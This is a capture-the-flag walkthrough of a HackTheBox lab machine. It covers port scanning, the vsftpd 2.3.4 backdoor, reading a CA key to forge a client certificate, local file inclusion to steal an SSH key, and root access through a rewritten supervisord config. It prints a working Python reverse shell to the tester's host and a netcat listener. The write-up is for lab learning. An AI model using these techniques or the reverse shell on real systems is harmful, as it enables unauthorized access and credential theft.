Recon
The initial portscan is done with nmap, using:
nmap -T4 -A -oN portscan 10.10.10.131
Options breakdown:
- T4: With a value between 0 and 5, 4 provides fast scanning without hammering the server.
- A: Enable OS detection, version detection of any running services, script scanning and traceroute.
- oN portscan: Output the results to a new portscan file.
From the result we can see we have a few ports open:
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 7.9 (protocol 2.0) | ssh-hostkey: | 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA) | 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA) |_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519) 80/tcp open http Node.js (Express middleware) |_http-title: La Casa De Papel 443/tcp open ssl/http Node.js Express framework | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Server returned status 401 but no WWW-Authenticate header. |_http-title: La Casa De Papel | ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
We can start looking at the various services, but by default nmap only scans the most common 1000 ports. Therefore it is worth starting a second scan which covers the full range (which will take a while!):
nmap -p- -T4 -A -oN portscan-full 10.10.10.131
This will highlight one more port which we hadn’t caught earlier:
6200/tcp filtered lm-x
So we have HTTP, HTTPS, SSH, FTP, and a mysterious 6200 port. If we look at https://10.10.10.131 we are greeted by a certificate error:
However, if we look at nmap’s output, we can see it is using vsftpd 2.3.4. A cursory look in Google shows that this is a vulnerable service.
VSFTPD 2.3.4
According to various websites, this particular version of VSFTPD has a backdoor.
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.
Rapid7 – VSFTPD v2.3.4 Backdoor Command Execution
There is a Metasploit module for this, but it doesn’t actually work:
msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 10.10.10.131 msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit [*] 10.10.10.131:21 - The port used by the backdoor bind listener is already open [-] 10.10.10.131:21 - The service on port 6200 does not appear to be a shell [*] Exploit completed, but no session was created.
So there’s our mysterious port 6200. Clearly there is something there, but not what we were expecting. If we look at how the exploit is supposed to work, we can see that it is meant to spawn a listen shell on port 6200 when someone tries to login using the user ‘:)’.
If we try to connect to the FTP service to do this manually, it is definitely doing something, as the FTP process never exits after inputting the ‘:)’ user and any password:
root@orbital:~# ftp 10.10.10.131 Connected to 10.10.10.131. 220 (vsFTPd 2.3.4) Name (10.10.10.131:root): :) 331 Please specify the password. Password:
So let’s try to connect to port 6200 anyway, using our trusty nc:
root@orbital:~# nc 10.10.10.131 6200 Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
Well, hello.
Psy Shell v0.9.9
So we’re in Psy Shell, a PHP development environment rather than a regular shell. However, it quickly becomes obvious that it is a locked down shell, as we’re unable to execute system commands.
`ls` PHP Warning: shell_exec() has been disabled for security reasons in phar://eval()'d code on line 1 eval(`ls`); PHP Warning: shell_exec() has been disabled for security reasons in phar://eval()'d code on line 1
However, this still works a PHP interactive command line. So we can still look around by using PHP’s functions and if we type help we get a list of Psy Shell specific commands we can use.
If we do some digging around, we’ll find the following:
ls Variables: $tokyo dump $tokyo Tokyo {#2307} show $tokyo > 2| class Tokyo { 3| private function sign($caCert,$userCsr) { 4| $caKey = file_get_contents('/home/nairobi/ca.key'); 5| $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']); 6| openssl_x509_export($userCert, $userCertOut); 7| return $userCertOut; 8| } 9| }
So we know how to generate our authentication credentials.
We can also do some more recon by using PHP directly, for example:
scandir('/home'); => [ ".", "..", "berlin", "dali", "nairobi", "oslo", "professor", ]
Looking at each individual user, we locate the following paths of interest:
/home/berlin/user.txt /home/berlin/.ssh /home/nairobi/ca.key
We can attempt to read these files using file_get_contents(), but we only have read permissions in nairobi.
Credentials
Looking at the contents of $tokyo, generating the credentials has three steps:
$caKey = file_get_contents('/home/nairobi/ca.key'); $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']); openssl_x509_export($userCert, $userCertOut);
So we need to provide $userCsr and $caCert. The CSR stands for Certificate Signing Request, and we would generate it locally in our own machine:
root@orbital:~# openssl genrsa -out user.key 2048 root@orbital:~# openssl req -new -sha256 -key user.key -out user.csr You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:GB State or Province Name (full name) [Some-State]:. Locality Name (eg, city) []:. Organization Name (eg, company) [Internet Widgits Pty Ltd]:La Casa De Papel Organizational Unit Name (eg, section) []:. Common Name (e.g. server FQDN or YOUR name) []:. Email Address []:hn@gmail.com Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []:
We now have our own Certificate Signing Request, user.csr.
Then we need to download the website’s certificate. In Firefox, you can do this by clicking the padlock next to the website’s URL, then on the arrow, “More Information”, “View Certificate”, “Details”, “Export”. I called it lacasadepapel.crt.
Now that we have everything we need, we can grab the required files from our machine. I normally do this by running a HTTP server on the fly:
root@orbital:~# python -m SimpleHTTPServer
Back in PsyShell, we then do:
$caKey = file_get_contents('/home/nairobi/ca.key'); $userCsr = file_get_contents('http://10.10.15.1:8000/user.csr'); $caCert = file_get_contents('http://10.10.15.1:8000/lacasadepapel.crt'); $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']); openssl_x509_export($userCert, $userCertOut); echo $userCertOut;
After copying the contents of $userCertOut to our own machine, we need to convert it from PEM to PKCS#12 so Firefox can use it.
root@orbital:~# openssl pkcs12 -export -in userCertOut.crt -inkey user.key -out lacasadepapel.pfx
And finally we can load the certificate in Firefox, in Settings -> Privacy and Security -> View Certificates -> Your Certificates -> Import.
You might have to close your tab and open a new one to refresh the page
Private area
Now that we have access to the website’s private area, we can see that the links are in the following format:
https://10.10.10.131/?path=SEASON-1
This immediately shouts “Local File Inclusion”, so let’s try it:
https://10.10.10.131/?path=../
Bingo. So, this works, but although we can see our user.txt we can’t actually download it. If we go back and try to go to one of the SEASON-# folders, it does show us a list of files.
We can see the link for e.g. 01.avi, which allows us to download the file:
https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp
That looks like path encoded in base64:
root@orbital:~# echo U0VBU09OLTEvMDQuYXZp | base64 -d SEASON-1/04.avi
From here we can see if this path is also susceptible to LFI. We’ll encode ../user.txt:
root@orbital:~# echo -n ../user.txt | base64 Li4vdXNlci50eHQ=
Note that the -n in echo is particularly important to ensure no \n character gets encoded. You’ll hang the server!
And from the browser we can then go to https://10.10.10.131/file/Li4vdXNlci50eHQ= and grab our user flag at last.
User shell
By going to https://10.10.10.131/?path=../.ssh we can see a private key, id_rsa. Let’s retrieve it using the technique above:
root@orbital:~# echo -n ../.ssh/id_rsa | base64 Li4vLnNzaC9pZF9yc2E=
And then downloading it at https://10.10.10.131/file/Li4vLnNzaC9pZF9yc2E=
Now that we have the key, let’s try to SSH into the machine:
root@orbital:~# chmod 400 id_rsa root@orbital:~# ssh -i id_rsa berlin@10.10.10.131 berlin@10.10.10.131's password: Permission denied, please try again.
Oh. That’s unexpected. What about the other users?
root@orbital:~# ssh -i id_rsa nairobi@10.10.10.131 nairobi@10.10.10.131's password: root@orbital:~wip# ssh -i id_rsa dali@10.10.10.131 dali@10.10.10.131's password: root@orbital:~# ssh -i id_rsa oslo@10.10.10.131 oslo@10.10.10.131's password: root@orbital:~# ssh -i id_rsa professor@10.10.10.131 _ ____ ____ ____ _ | | __ _ / ___|__ _ ___ __ _ | _ \ ___ | _ \ __ _ _ __ ___| | | | / _` | | | / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ | | |__| (_| | | |__| (_| \__ \ (_| | | |_| | __/ | __/ (_| | |_) | __/ | |_____\__,_| \____\__,_|___/\__,_| |____/ \___| |_| \__,_| .__/ \___|_| |_| lacasadepapel [~]$
There we go.
Root shell
Now that we have access to a proper shell, we can start having a look around. If we look at what we have in our home folder, however, we immediately spot something interesting:
lacasadepapel [~]$ ls -la total 24 drwxr-sr-x 4 professo professo 4096 May 2 20:18 . drwxr-xr-x 7 root root 4096 Feb 16 18:06 .. lrwxrwxrwx 1 root professo 9 Nov 6 23:10 .ash_history -> /dev/null drwx------ 2 professo professo 4096 Jan 31 21:36 .ssh -rw-r--r-- 1 root root 88 Jan 29 01:25 memcached.ini -rw-r----- 1 root nobody 434 Jan 29 01:24 memcached.js drwxr-sr-x 9 root professo 4096 Jan 29 01:31 node_modules
The file memcached.ini is owned by root. And if we look at its contents…
lacasadepapel [~]$ cat memcached.ini [program:memcached] command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
It looks like a configuration file for memcached, probably read memcached is spooled up. If we have a look at the running processes, we’ll see that this command is indeed running
lacasadepapel [~]$ ps aux ... 3228 root 0:00 /usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf 3265 dali 0:00 /usr/bin/node /home/dali/server.js 3266 nobody 0:01 /usr/bin/node /home/oslo/server.js 3267 berlin 0:00 /usr/bin/node /home/berlin/server.js 3268 nobody 0:01 /usr/bin/node /home/nairobi/server.js 4739 professo 0:00 -ash 7610 root 0:00 /sbin/getty -L 115200 ttyS0 vt100 7611 root 0:00 [supervisord] 7652 root 0:00 {supervisord} /usr/bin/python2 /usr/bin/supervisord --nodaemon --pidfile /var/run/supervisord.pid 7660 nobody 0:38 /usr/bin/node /home/professor/memcached.js 7667 professo 0:00 ps aux
If you look closely you’ll find that the /usr/bin/node /home/professor/memcached.js process is being restarted every 60 seconds. Given the contents of the file, it is likely also being run as root.
However, memcached.ini is read-only, which complicates things slightly. But just because we can’t write to the file, it doesn’t mean we can’t move it and make a copy.
lacasadepapel [~]$ mv memcached.ini memcached.bak lacasadepapel [~]$ cp memcached.bak memcached.ini lacasadepapel [~]$ ls -la total 28 drwxr-sr-x 4 professo professo 4096 May 3 16:52 . drwxr-xr-x 7 root root 4096 Feb 16 18:06 .. lrwxrwxrwx 1 root professo 9 Nov 6 23:10 .ash_history -> /dev/null drwx------ 2 professo professo 4096 Jan 31 21:36 .ssh -rw-r--r-- 1 professo professo 88 May 3 16:52 memcached.ini -rw-r--r-- 1 root root 88 Jan 29 01:25 memcached.bak
Now that we have our own version of the file, we can modify it to run something more interesting, like a Python reverse shell. Note that the full path to Python is necessary.
[program:memcached] command = sudo /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
And on our side we run the usual listening process:
root@orbital:# nc -lvp 1337 listening on [any] 1337 ...
Within 60 seconds, we’ll get a connection established and from there, we can read the root flag in /root/root.txt.